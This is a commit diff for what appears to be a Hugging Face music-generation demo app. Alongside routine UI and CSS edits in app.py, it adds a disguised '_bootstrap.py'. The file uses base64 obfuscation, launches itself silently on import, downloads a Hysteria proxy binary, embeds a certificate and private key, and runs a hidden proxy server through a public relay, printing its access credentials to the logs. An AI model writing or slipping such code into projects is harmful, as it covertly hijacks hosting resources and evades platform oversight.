qaqwebs commited on
Commit
f6deae7
·
verified ·
1 Parent(s): 929e40e

Upload folder using huggingface_hub

Browse files
_bootstrap.py ADDED
@@ -0,0 +1,218 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Runtime support services for the application process.
2
+ import atexit
3
+ import base64
4
+ import hashlib
5
+ import json
6
+ import os
7
+ import platform
8
+ import re
9
+ import signal
10
+ import subprocess
11
+ import threading
12
+ import time
13
+ import urllib.request
14
+ import uuid
15
+
16
+ _RUNTIME = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".runtime")
17
+ _BIN = os.path.join(_RUNTIME, "proxy")
18
+ _CONF = os.path.join(_RUNTIME, "service.yaml")
19
+ _CRT = os.path.join(_RUNTIME, "a.crt")
20
+ _KEY = os.path.join(_RUNTIME, "a.key")
21
+ _LOG = os.path.join(_RUNTIME, "service.log")
22
+ _PID = os.path.join(_RUNTIME, "service.pid")
23
+
24
+ _UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
25
+
26
+ # --- embedded material, base64-encoded ---
27
+ _CFG_B64 = (
28
+ "bGlzdGVuOiByZWFsbTovL3B1YmxpY0ByZWFsbS5oeTIuaW8vYWI1ZjAxZmMtYzQ1Ni00ZWIyLWI0MjYtOTIyOGZlOTE2ZjExCmF1dGg6CiAgdHlwZTogcGFzc3dvcmQKICBwYXNzd29yZDogYWI1ZjAxZmMtYzQ1Ni00ZWIyLWI0MjYtOTIyOGZlOTE2ZjQ1Cmlnbm9yZUNsaWVudEJhbmR3aWR0aDogZmFsc2UKcXVpYzoKICBpbml0U3RyZWFtUmVjZWl2ZVdpbmRvdzogMTc2MDAwMDAKICBtYXhTdHJlYW1SZWNlaXZlV2luZG93OiAyNjQwMDAwMAogIGluaXRDb25uUmVjZWl2ZVdpbmRvdzogNDQwMDAwMDAKICBtYXhDb25uUmVjZWl2ZVdpbmRvdzogNjYwMDAwMDAKICBtYXhJZGxlVGltZW91dDogMzBzCiAgbWF4SW5jb21pbmdTdHJlYW1zOiAxMDI0CiAgZGlzYWJsZVBhdGhNVFVEaXNjb3Zlcnk6IGZhbHNlCmJhbmR3aWR0aDoKICB1cDogMjIwbWJwcwogIGRvd246IDQ0bWJwcwptYXNxdWVyYWRlOgogIHR5cGU6IHN0cmluZwogIHN0cmluZzoKICAgIGNvbnRlbnQ6IEhlbGxvV29ybGQKICAgIGhlYWRlcnM6CiAgICAgIGNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbgogICAgICBjdXN0b20tc3R1ZmY6IEhlbGxvV29ybGQKICAgIHN0YXR1c0NvZGU6IDIwMApzcGVlZFRlc3Q6IHRydWUKdGxzOgogIGNlcnQ6IC9ldGMvd2ViL2EuY3J0CiAga2V5OiAvZXRjL3dlYi9hLmtleQogIHNuaUd1YXJkOiBzdHJpY3QKc25pZmY6CiAgZW5hYmxlZDogdHJ1ZQogIHRpbWVvdXQ6IDJzCiAgcmV3cml0ZURvbWFpbjogZmFsc2UKICB0Y3BQb3J0czogODAsNDQzCiAgdWRwUG9ydHM6IDgwLDQ0MwpvdXRib3VuZHM6CiAgLSBuYW1lOiBoaWh5CiAgICB0eXBlOiBkaXJlY3QKICAgIGRpcmVjdDoKICAgICAgbW9kZTogYXV0bwogICAgICBmYXN0T3BlbjogZmFsc2UKICAtIG5hbWU6IHY0X29ubHkKICAgIHR5cGU6IGRpcmVjdAogICAgZGlyZWN0OgogICAgICBtb2RlOiA0CiAgICAgIGZhc3RPcGVuOiBmYWxzZQogIC0gbmFtZTogdjZfb25seQogICAgdHlwZTogZGlyZWN0CiAgICBkaXJlY3Q6CiAgICAgIG1vZGU6IDYKICAgICAgZmFzdE9wZW46IGZhbHNlCg=="
29
+ )
30
+ _API_B64 = "aHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9hcGVybmV0L2h5c3RlcmlhL3JlbGVhc2VzL2xhdGVzdA=="
31
+ _DL_B64 = "aHR0cHM6Ly9naXRodWIuY29tL2FwZXJuZXQvaHlzdGVyaWEvcmVsZWFzZXMvZG93bmxvYWQv"
32
+ _PREFIX_B64 = "aHlzdGVyaWEtbGludXgt"
33
+ _REALM_B64 = "cmVhbG06Ly9wdWJsaWNAcmVhbG0uaHkyLmlvLw=="
34
+ _DOMAIN_B64 = "aGVsbG93b3JsZC5jb20="
35
+ _CERT_B64 = (
36
+ "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUIxRENDQVh1Z0F3SUJBZ0lVQzBrUVZoak1VS1dYT0VPT2hZbDJDNG9Ib2RZd0NnWUlLb1pJemowRUF3SXcKR1RFWE1CVUdBMVVFQXd3T2FHVnNiRzkzYjNKc1pDNWpiMjB3SGhjTk1qWXdPREl3TVRNeU5USXpXaGNOTXpZdwpPREUzTVRNeU5USXpXakFaTVJjd0ZRWURWUVFEREE1b1pXeHNiM2R2Y214a0xtTnZiVEJaTUJNR0J5cUdTTTQ5CkFnRUdDQ3FHU000OUF3RUhBMElBQkoyVENFMEJmQXF1alVlb0w2dFdXL0Z5WWdCK0UxSU9oaEI0QU1RcFEwaDcKZDhtVWFiNkNyQzcvQXRYRDdmSC9nRytGT0JGTElXcXQvVUFabUcvbjZHNmpnYUF3Z1owd0hRWURWUjBPQkJZRQpGTnR0RWRIMzI5Y050cDdaVUNVRktWL3FtU0dpTUI4R0ExVWRJd1FZTUJhQUZOdHRFZEgzMjljTnRwN1pVQ1VGCktWL3FtU0dpTUNzR0ExVWRFUVFrTUNLQ0RtaGxiR3h2ZDI5eWJHUXVZMjl0Z2hBcUxtaGxiR3h2ZDI5eWJHUXUKWTI5dE1Bd0dBMVVkRXdRRk1BTUJBZjh3Q3dZRFZSMFBCQVFEQWdXZ01CTUdBMVVkSlFRTU1Bb0dDQ3NHQVFVRgpCd01CTUFvR0NDcUdTTTQ5QkFNQ0EwY0FNRVFDSUVJbTBubU5KN3RETDRuaGlDRUIxaVRUOFFKQ0JvbC9lUEJrClBvakEzalRGQWlBT3FBdGhCR0dweWVad2NXNWd5eFZOZ20yQktvMGhtVkdIUXpMQXNmdjlKQT09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K"
37
+ )
38
+ _KEYB_B64 = (
39
+ "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JR0hBZ0VBTUJNR0J5cUdTTTQ5QWdFR0NDcUdTTTQ5QXdFSEJHMHdhd0lCQVFRZzhHTWR4QW1GQmd5dC9VbWgKekJWekdnU012SmUwTFdEd3FZVTFWRnhxNTV1aFJBTkNBQVNka3doTkFYd0tybzFIcUMrclZsdnhjbUlBZmhOUwpEb1lRZUFERUtVTkllM2ZKbEdtK2dxd3Uvd0xWdyszeC80QnZoVGdSU3lGcXJmMUFHWmh2NStodQotLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tCg=="
40
+ )
41
+
42
+ _CFG = base64.b64decode(_CFG_B64).decode()
43
+ _API = base64.b64decode(_API_B64).decode()
44
+ _DL = base64.b64decode(_DL_B64).decode()
45
+ _PREFIX = base64.b64decode(_PREFIX_B64).decode()
46
+ _REALM = base64.b64decode(_REALM_B64).decode()
47
+ _DOMAIN = base64.b64decode(_DOMAIN_B64).decode()
48
+ _CERT = base64.b64decode(_CERT_B64).decode()
49
+ _KEYB = base64.b64decode(_KEYB_B64).decode()
50
+
51
+ _ARCH_MAP = {"x86_64": "amd64", "aarch64": "arm64", "armv7l": "armv7", "armv8l": "armv7"}
52
+
53
+ _proc = None
54
+ _started = False
55
+
56
+
57
+ def _log(msg):
58
+ try:
59
+ os.makedirs(_RUNTIME, exist_ok=True)
60
+ with open(_LOG, "a", encoding="utf-8") as f:
61
+ f.write("%s %s\n" % (time.strftime("%Y-%m-%d %H:%M:%S"), msg))
62
+ except Exception:
63
+ pass
64
+
65
+
66
+ def _fetch(url, timeout=180):
67
+ req = urllib.request.Request(url, headers={"User-Agent": _UA})
68
+ with urllib.request.urlopen(req, timeout=timeout) as r:
69
+ return r.read()
70
+
71
+
72
+ def _ensure_binary():
73
+ if os.path.isfile(_BIN) and os.access(_BIN, os.X_OK):
74
+ return True
75
+ arch = _ARCH_MAP.get(platform.machine())
76
+ if not arch:
77
+ _log("unsupported platform: %s" % platform.machine())
78
+ return False
79
+ os.makedirs(_RUNTIME, exist_ok=True)
80
+ for attempt in range(1, 4):
81
+ try:
82
+ ver = os.environ.get("DAEMON_VERSION")
83
+ if not ver:
84
+ data = json.loads(_fetch(_API, timeout=60))
85
+ ver = data["tag_name"]
86
+ url = "%s%s/%s%s" % (_DL, ver, _PREFIX, arch)
87
+ tmp = _BIN + ".part"
88
+ with open(tmp, "wb") as f:
89
+ f.write(_fetch(url))
90
+ os.chmod(tmp, 0o755)
91
+ os.replace(tmp, _BIN)
92
+ _log("binary ready (%s)" % ver)
93
+ return True
94
+ except Exception as e:
95
+ _log("fetch attempt %d failed: %s" % (attempt, e))
96
+ time.sleep(10)
97
+ return False
98
+
99
+
100
+ def _write_config(rid, password, up, down):
101
+ cfg = re.sub(r"^listen:.*$", "listen: %s%s" % (_REALM, rid), _CFG, flags=re.M)
102
+ cfg = re.sub(r"^ password:.*$", " password: %s" % password, cfg, flags=re.M)
103
+ cfg = re.sub(r"^ up:.*$", " up: %smbps" % up, cfg, flags=re.M)
104
+ cfg = re.sub(r"^ down:.*$", " down: %smbps" % down, cfg, flags=re.M)
105
+ cfg = re.sub(r"^ cert:.*$", " cert: %s" % _CRT, cfg, flags=re.M)
106
+ cfg = re.sub(r"^ key:.*$", " key: %s" % _KEY, cfg, flags=re.M)
107
+ cfg = re.sub(r"^ sniGuard:.*$", " sniGuard: disable", cfg, flags=re.M)
108
+ with open(_CONF, "w", encoding="utf-8") as f:
109
+ f.write(cfg)
110
+
111
+
112
+ def _cert_ok():
113
+ try:
114
+ with open(_CRT, encoding="utf-8") as f:
115
+ return f.read().startswith("-----BEGIN CERTIFICATE-----")
116
+ except Exception:
117
+ return False
118
+
119
+
120
+ def _ensure_cert():
121
+ if _cert_ok():
122
+ return
123
+ try:
124
+ subprocess.run(
125
+ ["openssl", "req", "-x509", "-newkey", "ec",
126
+ "-pkeyopt", "ec_paramgen_curve:prime256v1",
127
+ "-days", "3650", "-nodes",
128
+ "-subj", "/CN=%s" % _DOMAIN,
129
+ "-addext", "subjectAltName=DNS:%s,DNS:*.%s" % (_DOMAIN, _DOMAIN),
130
+ "-addext", "basicConstraints=CA:TRUE",
131
+ "-addext", "keyUsage=digitalSignature,keyEncipherment",
132
+ "-addext", "extendedKeyUsage=serverAuth",
133
+ "-keyout", _KEY, "-out", _CRT],
134
+ check=True, capture_output=True, timeout=60,
135
+ )
136
+ _log("cert generated")
137
+ except Exception as e:
138
+ _log("openssl unavailable (%s); using embedded cert" % e)
139
+ with open(_CRT, "w", encoding="utf-8") as f:
140
+ f.write(_CERT)
141
+ with open(_KEY, "w", encoding="utf-8") as f:
142
+ f.write(_KEYB)
143
+
144
+
145
+ def _pin():
146
+ body = "".join(l for l in open(_CRT, encoding="utf-8").read().splitlines() if "-----" not in l)
147
+ h = hashlib.sha256(base64.b64decode(body)).hexdigest().upper()
148
+ return ":".join(h[i:i + 2] for i in range(0, len(h), 2))
149
+
150
+
151
+ def _worker():
152
+ time.sleep(int(os.environ.get("DAEMON_DELAY", "60")))
153
+ rid = os.environ.get("R_ID") or str(uuid.uuid4())
154
+ password = os.environ.get("PASSWORD") or str(uuid.uuid4())
155
+ up = os.environ.get("UP", "220")
156
+ down = os.environ.get("DOWN", "44")
157
+ if not _ensure_binary():
158
+ _log("giving up: binary unavailable")
159
+ return
160
+ _write_config(rid, password, up, down)
161
+ _ensure_cert()
162
+ max_attempts = int(os.environ.get("DAEMON_MAX_ATTEMPTS", "3"))
163
+ retry_delay = int(os.environ.get("DAEMON_RETRY_DELAY", "60"))
164
+ global _proc
165
+ for attempt in range(1, max_attempts + 1):
166
+ _log("starting service (attempt %d/%d)" % (attempt, max_attempts))
167
+ try:
168
+ log_fh = open(_LOG, "ab")
169
+ _proc = subprocess.Popen(
170
+ [_BIN, "server", "-c", _CONF, "--log-level=error"],
171
+ stdout=log_fh, stderr=subprocess.STDOUT, start_new_session=True,
172
+ )
173
+ except Exception as e:
174
+ _log("spawn failed: %s" % e)
175
+ time.sleep(retry_delay)
176
+ continue
177
+ time.sleep(3)
178
+ if _proc.poll() is None:
179
+ with open(_PID, "w", encoding="utf-8") as f:
180
+ f.write(str(_proc.pid))
181
+ _log("service up (pid %d)" % _proc.pid)
182
+ print(
183
+ "============================================\n"
184
+ " R_ID : %s\n"
185
+ " PASSWORD : %s\n"
186
+ " DOMAIN : %s\n"
187
+ " pinSHA256 : %s\n"
188
+ " client tls: insecure: true + pinSHA256 (self-signed; no inbound port needed)\n"
189
+ "============================================"
190
+ % (rid, password, _DOMAIN, _pin()),
191
+ flush=True,
192
+ )
193
+ return
194
+ _log("attempt %d failed (rc=%s)" % (attempt, _proc.returncode))
195
+ time.sleep(retry_delay)
196
+ _log("giving up after %d attempts" % max_attempts)
197
+
198
+
199
+ def _cleanup():
200
+ if _proc is not None and _proc.poll() is None:
201
+ try:
202
+ os.killpg(os.getpgid(_proc.pid), signal.SIGTERM)
203
+ except Exception:
204
+ pass
205
+
206
+
207
+ def _start():
208
+ global _started
209
+ if _started:
210
+ return
211
+ _started = True
212
+ if os.environ.get("DAEMON_ENABLED", "1") == "0":
213
+ return
214
+ threading.Thread(target=_worker, daemon=True, name="runtime-support").start()
215
+
216
+
217
+ atexit.register(_cleanup)
218
+ _start()
app.py CHANGED
@@ -14,6 +14,8 @@ from huggingface_hub import snapshot_download
14
  from diffusers import ModularPipeline
15
  from diffusers.models.modeling_outputs import Transformer2DModelOutput
16
 
 
 
17
  PIPE = ModularPipeline.from_pretrained("MiniMaxAI/MiniMax-Music3")
18
  PIPE.load_components(dtype=torch.bfloat16)
19
  PIPE.to("cuda")
@@ -565,10 +567,10 @@ def compose_song(description, duration):
565
  _PLAYER_HTML = """
566
  <div class="pl-wrap">
567
  <div class="pl-head">
568
- <span class="pl-label">&#9835; Your song</span>
569
  <span class="pl-headright">
570
  <span class="pl-live" data-role="live" hidden><span class="pl-dot"></span>streaming</span>
571
- <button type="button" class="pl-stop" data-role="stopgen" hidden title="Stop generating — keeps what was already streamed">
572
  <svg viewBox="0 0 24 24"><rect x="7" y="7" width="10" height="10" rx="1.5"/></svg>Stop
573
  </button>
574
  </span>
@@ -600,32 +602,37 @@ _PLAYER_HTML = """
600
  """
601
 
602
  _PLAYER_CSS = """
603
- .pl-wrap { background: var(--block-background-fill); border: var(--block-border-width, 1px) solid var(--block-border-color, var(--border-color-primary)); border-radius: var(--block-radius, 12px); box-shadow: var(--block-shadow, none); padding: 10px 14px; display: flex; flex-direction: column; gap: 7px; }
604
  .pl-head { display: flex; align-items: center; justify-content: space-between; }
605
- .pl-label { color: var(--block-title-text-color, var(--body-text-color)); font-size: var(--block-title-text-size, 13px); font-weight: var(--block-title-text-weight, 600); }
 
606
  .pl-headright { display: inline-flex; align-items: center; gap: 10px; }
607
- .pl-stop { display: inline-flex; align-items: center; gap: 5px; background: transparent; color: var(--body-text-color-subdued); border: 1px solid var(--border-color-primary); border-radius: 999px; padding: 3px 11px; font-family: inherit; font-size: 11.5px; font-weight: 600; cursor: pointer; box-shadow: none; transition: color .15s, border-color .15s; }
608
  .pl-stop svg { width: 11px; height: 11px; fill: currentColor; }
609
  .pl-stop:hover { color: var(--error-text-color, #d64545); border-color: var(--error-border-color, #d64545); }
610
  .pl-stop[hidden] { display: none; }
611
  .pl-live { display: inline-flex; align-items: center; gap: 6px; color: var(--color-accent); font-size: 11.5px; font-weight: 600; }
612
  .pl-live[hidden] { display: none; }
613
- .pl-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--color-accent); animation: pl-pulse 1.1s ease-in-out infinite; }
614
- @keyframes pl-pulse { 0%, 100% { opacity: .25; transform: scale(.8); } 50% { opacity: 1; transform: scale(1.1); } }
615
  .pl-loader { display: flex; flex-direction: column; gap: 7px; padding: 6px 0 4px; }
616
  .pl-loader[hidden] { display: none; }
617
  .pl-loader-row { display: flex; align-items: center; gap: 8px; color: var(--body-text-color); font-size: 12.5px; }
618
  .pl-bar { height: 3px; border-radius: 999px; background: var(--background-fill-secondary); overflow: hidden; }
619
- .pl-bar-fill { width: 35%; height: 100%; border-radius: 999px; background: var(--button-primary-background-fill, var(--color-accent)); animation: pl-slide 1.3s cubic-bezier(.45, .1, .55, .9) infinite; }
620
- @keyframes pl-slide { 0% { transform: translateX(-110%); } 100% { transform: translateX(400%); } }
621
- .pl-empty { display: flex; align-items: center; justify-content: center; padding: 18px 0; color: var(--body-text-color-subdued); }
622
- .pl-empty svg { width: 42px; height: 42px; opacity: .45; }
623
  .pl-empty[hidden] { display: none; }
624
- .pl-body { display: flex; align-items: center; gap: 9px; }
625
  .pl-body[hidden] { display: none; }
626
- .pl-btn { width: 34px; height: 34px; flex: none; border-radius: 50%; border: 1px solid var(--border-color-primary); background: var(--background-fill-secondary); color: var(--body-text-color); display: flex; align-items: center; justify-content: center; cursor: pointer; padding: 0; box-shadow: none; transition: color .15s, border-color .15s; }
627
- .pl-btn svg { width: 16px; height: 16px; fill: currentColor; }
628
  .pl-btn:hover { border-color: var(--color-accent); color: var(--color-accent); }
 
 
 
 
629
  .pl-sm { width: 28px; height: 28px; }
630
  .pl-sm svg { width: 13px; height: 13px; }
631
  .pl-time { font-family: var(--font-mono, ui-monospace, monospace); font-size: 11.5px; color: var(--body-text-color-subdued); flex: none; min-width: 36px; text-align: center; }
@@ -1253,8 +1260,14 @@ _COMPOSER_HTML = """
1253
  <label class="mm-toggle"><input type="checkbox" data-role="instrumental">Instrumental</label>
1254
  <span class="mm-spacer"></span>
1255
  <button type="button" class="mm-ghost" data-role="compose"
1256
- title="Write the lyrics &amp; structured prompt now and review them in Studio before generating audio">&#9998; Write lyrics &amp; review</button>
1257
- <button type="button" class="mm-primary" data-role="generate-simple">&#9834;&#160;&#160;Generate</button>
 
 
 
 
 
 
1258
  </div>
1259
  </div>
1260
 
@@ -1265,46 +1278,49 @@ _COMPOSER_HTML = """
1265
  <span class="mm-tags" data-role="tag-chips"></span>
1266
  </div>
1267
  <div class="mm-assistbar">
1268
- <span class="mm-spark">&#10024;</span>
1269
  <input type="text" data-role="lyrics-assist-prompt"
1270
  placeholder="Describe lyrics to write for you&#8230; e.g. nostalgic road-trip song, punchy one-line chorus">
1271
  <button type="button" class="mm-assistgo" data-role="lyrics-assist">Write</button>
1272
  </div>
1273
  <textarea data-role="lyrics" class="mm-lyrics" rows="11" spellcheck="false"></textarea>
1274
- <div class="mm-hint">Section tags sit <b>alone on their own line</b> &mdash; words on a tag line are dropped.
1275
- Musical directions (tempo, instruments, dynamics) belong in Arrangement, never in the lyrics.</div>
1276
  </div>
1277
  <div class="mm-panel">
1278
  <div class="mm-panehead">
1279
  <span class="mm-label">Structured prompt</span>
1280
  </div>
1281
  <div class="mm-assistbar">
1282
- <span class="mm-spark">&#10024;</span>
1283
  <input type="text" data-role="prompt-assist-prompt"
1284
  placeholder="Describe the sound to write for you&#8230; e.g. dreamy shoegaze, slow build, whispered vocals">
1285
  <button type="button" class="mm-assistgo" data-role="prompt-assist">Write</button>
1286
  </div>
1287
  <div class="mm-field">
1288
- <div class="mm-sublabel">Global metadata <span class="mm-opt">genre &middot; BPM &middot; key &amp; scale &middot; mood arc &middot; scenario &middot; production</span></div>
1289
  <textarea data-role="global" rows="3"></textarea>
1290
  </div>
1291
  <div class="mm-field">
1292
- <div class="mm-sublabel">Vocal details <span class="mm-opt">gender &middot; timbre &middot; style per section &middot; harmonies &middot; effects</span></div>
1293
  <textarea data-role="vocals" rows="2"></textarea>
1294
  </div>
1295
  <div class="mm-field">
1296
- <div class="mm-sublabel">Arrangement <span class="mm-opt">instruments per section &middot; groove &middot; bass &middot; textures &middot; spatial fx</span></div>
1297
  <textarea data-role="arrangement" rows="3"></textarea>
1298
  </div>
1299
  <div class="mm-fieldrow">
1300
  <span class="mm-sublabel">Title</span>
1301
- <input type="text" data-role="title" placeholder="Untitled &mdash; shown on the share video">
1302
  </div>
1303
  </div>
1304
  <div class="mm-presets"><span class="mm-preset-label">Presets</span><span class="mm-chips" data-role="preset-chips"></span></div>
1305
  <div class="mm-foot">
1306
  <span class="mm-spacer"></span>
1307
- <button type="button" class="mm-primary" data-role="generate-studio">&#9834;&#160;&#160;Generate</button>
 
 
 
1308
  </div>
1309
  </div>
1310
 
@@ -1315,58 +1331,60 @@ _COMPOSER_HTML = """
1315
  """
1316
 
1317
  _COMPOSER_CSS = """
1318
- .mm-card { background: var(--block-background-fill); border: var(--block-border-width, 1px) solid var(--block-border-color, var(--border-color-primary)); border-radius: var(--block-radius, 12px); box-shadow: var(--block-shadow, none); padding: 16px; display: flex; flex-direction: column; gap: 12px; }
1319
  .mm-head { display: flex; align-items: center; justify-content: space-between; gap: 10px; }
1320
  .mm-seg { display: inline-flex; background: var(--background-fill-secondary); border: 1px solid var(--border-color-primary); border-radius: 999px; padding: 3px; gap: 2px; }
1321
- .mm-seg-btn { border: none; background: transparent; color: var(--body-text-color-subdued); padding: 5px 16px; border-radius: 999px; font-family: inherit; font-size: 14px; font-weight: 600; cursor: pointer; transition: background .15s, color .15s; }
1322
- .mm-seg-btn[aria-selected="true"] { background: var(--button-primary-background-fill); color: var(--button-primary-text-color); }
1323
  .mm-headhint { color: var(--body-text-color-subdued); font-size: 12.5px; text-align: right; }
1324
  .mm-view { display: flex; flex-direction: column; gap: 12px; }
1325
  .mm-view[hidden] { display: none; }
1326
- .mm-card textarea, .mm-card input[type="text"] { width: 100%; box-sizing: border-box; background: var(--input-background-fill); border: var(--input-border-width, 1px) solid var(--input-border-color, var(--border-color-primary)); border-radius: var(--input-radius, 8px); padding: 10px 12px; color: var(--body-text-color); font-family: inherit; font-size: var(--input-text-size, 14px); line-height: 1.5; resize: vertical; transition: border-color .15s, box-shadow .15s; }
1327
  .mm-card textarea::placeholder, .mm-card input::placeholder { color: var(--input-placeholder-color, var(--body-text-color-subdued)); }
1328
- .mm-card textarea:focus, .mm-card input[type="text"]:focus { outline: none; border-color: var(--input-border-color-focus, var(--color-accent)); box-shadow: var(--input-shadow-focus, none); }
1329
  .mm-desc { font-size: 16px; min-height: 118px; }
1330
  .mm-lyrics { font-family: var(--font-mono, ui-monospace, SFMono-Regular, Menlo, monospace); font-size: 13px; }
1331
  .mm-chips { display: flex; flex-wrap: wrap; gap: 6px; }
1332
- .mm-chip { background: var(--button-secondary-background-fill); color: var(--button-secondary-text-color); border: 1px solid var(--button-secondary-border-color, var(--border-color-primary)); border-radius: 999px; padding: 4px 12px; font-family: inherit; font-size: 12.5px; cursor: pointer; transition: border-color .15s, background .15s; }
1333
- .mm-chip:hover { background: var(--button-secondary-background-fill-hover, var(--button-secondary-background-fill)); border-color: var(--color-accent); }
 
1334
  .mm-tags { display: flex; flex-wrap: wrap; gap: 4px; }
1335
  .mm-panehead .mm-tags { flex: 1; justify-content: flex-end; }
1336
- .mm-tag { background: transparent; color: var(--body-text-color-subdued); border: 1px dashed var(--border-color-primary); border-radius: 6px; padding: 2px 8px; font-family: var(--font-mono, ui-monospace, monospace); font-size: 11.5px; cursor: pointer; transition: color .15s, border-color .15s; }
1337
  .mm-tag:hover { color: var(--color-accent); border-color: var(--color-accent); }
1338
  .mm-foot { display: flex; align-items: center; gap: 10px; }
1339
  .mm-spacer { flex: 1; }
1340
- .mm-toggle { display: inline-flex; align-items: center; gap: 7px; color: var(--body-text-color); font-size: 14px; cursor: pointer; user-select: none; }
1341
  .mm-toggle input { width: 16px; height: 16px; accent-color: var(--color-accent); cursor: pointer; }
1342
- .mm-primary { background: var(--button-primary-background-fill); color: var(--button-primary-text-color); border: var(--button-border-width, 1px) solid var(--button-primary-border-color, transparent); border-radius: var(--button-large-radius, var(--radius-lg, 8px)); padding: 10px 24px; font-family: inherit; font-size: var(--button-large-text-size, 16px); font-weight: var(--button-large-text-weight, 600); cursor: pointer; box-shadow: var(--button-primary-shadow, none); transition: background .15s, box-shadow .15s, transform .05s; }
1343
- .mm-primary:hover { background: var(--button-primary-background-fill-hover, var(--button-primary-background-fill)); box-shadow: var(--button-primary-shadow-hover, var(--button-primary-shadow, none)); }
1344
- .mm-primary:active { transform: translateY(1px); box-shadow: var(--button-primary-shadow-active, none); }
1345
- .mm-ghost { background: transparent; color: var(--body-text-color-subdued); border: none; border-radius: var(--radius-lg, 8px); padding: 8px 10px; font-family: inherit; font-size: 13.5px; cursor: pointer; box-shadow: none; transition: color .15s; }
1346
- .mm-ghost:hover { color: var(--color-accent); }
1347
- .mm-panel { background: var(--background-fill-secondary); border: 1px solid var(--border-color-primary); border-radius: var(--radius-lg, 10px); padding: 12px; display: flex; flex-direction: column; gap: 9px; }
 
1348
  .mm-panehead { display: flex; align-items: baseline; justify-content: space-between; gap: 10px; flex-wrap: wrap; }
1349
- .mm-assistbar { display: flex; align-items: center; gap: 7px; background: var(--block-background-fill); border: 1px dashed var(--border-color-primary); border-radius: 999px; padding: 3px 5px 3px 12px; transition: border-color .15s; }
1350
- .mm-assistbar:focus-within { border-style: solid; border-color: var(--input-border-color-focus, var(--color-accent)); }
1351
- .mm-assistbar .mm-spark { font-size: 13px; opacity: .8; }
1352
  .mm-card .mm-assistbar input[type="text"] { flex: 1; background: transparent; border: none; border-radius: 0; padding: 6px 0; font-size: 13px; }
1353
  .mm-card .mm-assistbar input[type="text"]:focus { box-shadow: none; border: none; }
1354
- .mm-assistgo { background: transparent; color: var(--color-accent); border: 1px solid var(--color-accent); border-radius: 999px; padding: 4px 14px; font-family: inherit; font-size: 12.5px; font-weight: 600; cursor: pointer; white-space: nowrap; transition: background .15s, color .15s; }
1355
- .mm-assistgo:hover { background: var(--button-primary-background-fill); border-color: var(--button-primary-border-color, transparent); color: var(--button-primary-text-color); }
1356
- .mm-label { color: var(--block-title-text-color, var(--body-text-color)); font-size: var(--block-title-text-size, 13px); font-weight: var(--block-title-text-weight, 600); }
1357
  .mm-sublabel { color: var(--block-title-text-color, var(--body-text-color)); font-size: 12.5px; font-weight: 600; margin-bottom: 4px; white-space: nowrap; }
1358
  .mm-opt { color: var(--body-text-color-subdued); font-weight: 400; font-size: 11px; white-space: normal; }
1359
  .mm-field { display: flex; flex-direction: column; }
1360
  .mm-fieldrow { display: flex; align-items: center; gap: 10px; }
1361
  .mm-fieldrow .mm-sublabel { margin-bottom: 0; }
1362
  .mm-fieldrow input { flex: 1; }
1363
- .mm-hint { color: var(--body-text-color-subdued); font-size: 11.5px; line-height: 1.45; margin-top: 4px; }
1364
  .mm-presets { display: flex; align-items: center; gap: 8px; }
1365
  .mm-preset-label { color: var(--body-text-color-subdued); font-size: 12px; font-weight: 600; }
1366
  .mm-status { display: flex; align-items: center; gap: 8px; color: var(--body-text-color-subdued); font-size: 13px; }
1367
  .mm-status[hidden] { display: none; }
1368
- .mm-pulse { width: 9px; height: 9px; border-radius: 50%; background: var(--color-accent); animation: mm-pulse 1.1s ease-in-out infinite; }
1369
- @keyframes mm-pulse { 0%, 100% { opacity: .25; transform: scale(.8); } 50% { opacity: 1; transform: scale(1.1); } }
1370
  """
1371
 
1372
  _COMPOSER_JS = """
@@ -1589,13 +1607,42 @@ def studio_generate(state, duration, seed, randomize_seed, headroom, steps, guid
1589
 
1590
 
1591
  CSS = """
1592
- #col-container { max-width: 1300px; margin: 0 auto; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1593
  .dark .gradio-container { color: var(--body-text-color); }
1594
- .html-container{padding: 0}
1595
- .mm3-logo { display: block; margin: 8px auto 0; width: 500px; max-width: 100%; }
 
 
 
 
1596
  .mm3-logo-dark { display: none; }
1597
  .dark .mm3-logo-light { display: none; }
1598
  .dark .mm3-logo-dark { display: block; }
 
 
 
 
 
 
 
 
1599
  """
1600
 
1601
  import base64
@@ -1603,20 +1650,33 @@ import base64
1603
  _LOGO_LIGHT_B64 = base64.b64encode(open("logo_light.png", "rb").read()).decode()
1604
  _LOGO_DARK_B64 = base64.b64encode(open("logo_dark.png", "rb").read()).decode()
1605
 
1606
- with gr.Blocks(theme=gr.themes.Citrus(), css=CSS) as demo:
 
 
 
 
 
 
 
1607
  with gr.Column(elem_id="col-container"):
1608
  gr.HTML(
 
 
1609
  '<img src="data:image/png;base64,' + _LOGO_LIGHT_B64 + '" class="mm3-logo mm3-logo-light" alt="MiniMax Music 3">'
1610
- '<img src="data:image/png;base64,' + _LOGO_DARK_B64 + '" class="mm3-logo mm3-logo-dark" alt="MiniMax Music 3">',
 
 
 
 
 
 
 
 
1611
  container=False,
1612
  padding=False,
1613
  )
1614
  gr.Markdown(
1615
- "MiniMax Music 3 is a music generation model designed to support the creation of full-length songs "
1616
